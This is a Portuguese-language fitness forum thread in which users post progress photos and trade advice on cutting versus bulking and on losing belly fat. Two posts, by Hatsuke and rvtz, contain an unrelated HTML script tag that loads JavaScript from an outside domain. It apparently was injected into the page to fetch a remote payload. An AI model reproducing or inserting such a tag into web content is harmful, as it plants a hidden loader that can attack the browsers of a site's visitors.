SrSupino 12 Postado Abril 13, 2015 às 19:13 Postado Abril 13, 2015 às 19:13 foto atual: http://i.imgur.com/kDFeHQl.jpg foto anterior: http://i.imgur.com/hJUSH22.jpg E aí pessoal, de acordo com a foto atual devo fazer cutting ou bulking? Dei uma evoluída será? Não consigo ter essa percepção! Evoluiu sim, mas não eu metia um cutting curto, e depois bulkava, se não vai acumular muita gordura no bulking CAIOGYM reagiu a isso 1
CAIOGYM 1 Postado Abril 13, 2015 às 21:22 Postado Abril 13, 2015 às 21:22 (editado) Editado Abril 14, 2015 às 15:43 por CAIOGYM
abdull 0 Postado Abril 13, 2015 às 22:20 Postado Abril 13, 2015 às 22:20 Continuo no bulking ou ja faço um cutting? https://imageshack.com/i/id2bPNBhj
Hatsuke 12 Postado Abril 13, 2015 às 23:01 Postado Abril 13, 2015 às 23:01 foto atual: http://i.imgur.com/kDFeHQl.jpg foto anterior: http://i.imgur.com/hJUSH22.jpg E aí pessoal, de acordo com a foto atual devo fazer cutting ou bulking? Dei uma evoluída será? Não consigo ter essa percepção! Evoluiu bem cara... quanto tempo de uma foto pra outra? Dá pra manda um bulk(clean) tranquilo...controlando o bf... <script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script> Cutting Certíssimo....faria um cutting tbm... Continuo no bulking ou ja faço um cutting? https://imageshack.com/i/id2bPNBhj Na minha opinião pode continuar, dá pra ganhar bem mais massa antes do cutting... CAIOGYM reagiu a isso 1
CAIOGYM 1 Postado Abril 14, 2015 às 01:06 Postado Abril 14, 2015 às 01:06 Evoluiu bem cara... quanto tempo de uma foto pra outra? Dá pra manda um bulk(clean) tranquilo...controlando o bf... Certíssimo....faria um cutting tbm... Na minha opinião pode continuar, dá pra ganhar bem mais massa antes do cutting... cara, na real 1 ano, mas muito relaxo, só agora to fazendo a dieta certa
Decio Sampaio 0 Postado Abril 14, 2015 às 07:58 Postado Abril 14, 2015 às 07:58 (editado) ... Editado Abril 14, 2015 às 08:02 por Decio Sampaio
decsot 1 Postado Abril 14, 2015 às 08:06 Postado Abril 14, 2015 às 08:06 30 anos, completamente sedentário e alimentado à base de lixo. 1.65m, 67Kg Decidi de uma vez por todas optar por saúde e tentar ficar com um corpo mais bonito seguindo uma dieta rigorosa e exercitando. Acho que sou o chamado falso magro pois a única gordura que tenho é no peito e barriga. O que aconselham? perder uns kilos e depois malhar forte ou começar já a ganhar massa? (e sim, tenho vergonha de mostrar estas fotos )
h1ghland3r 10 Postado Abril 14, 2015 às 12:19 Postado Abril 14, 2015 às 12:19 Sim, seque primeiro. Sent from my Moto X
decsot 1 Postado Abril 14, 2015 às 13:03 Postado Abril 14, 2015 às 13:03 Sim, seque primeiro. Sent from my Moto X a minha dúvida é que não tenho musculo e tenho medo de tornar ainda mais dificil ganhar depois
rvtz 101 Postado Abril 14, 2015 às 13:48 Postado Abril 14, 2015 às 13:48 <script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script> a minha dúvida é que não tenho musculo e tenho medo de tornar ainda mais dificil ganhar depois Controle sua alimentação e comece a fazer aerobicos com mais frequencia que essa barriga ai some. Pode fazer um treino de hipertrofia porém capriche nos aerobicos que automaticamente voce vai perder a barriga e ganhar massa magra. Por enquanto coloco o corpo em ação e comece a rotina de dieta e aerobico. Foque na dieta que é possível ganhar massa magra e perder gordura ao mesmo tempo por mais que dizem que isso é lenda.
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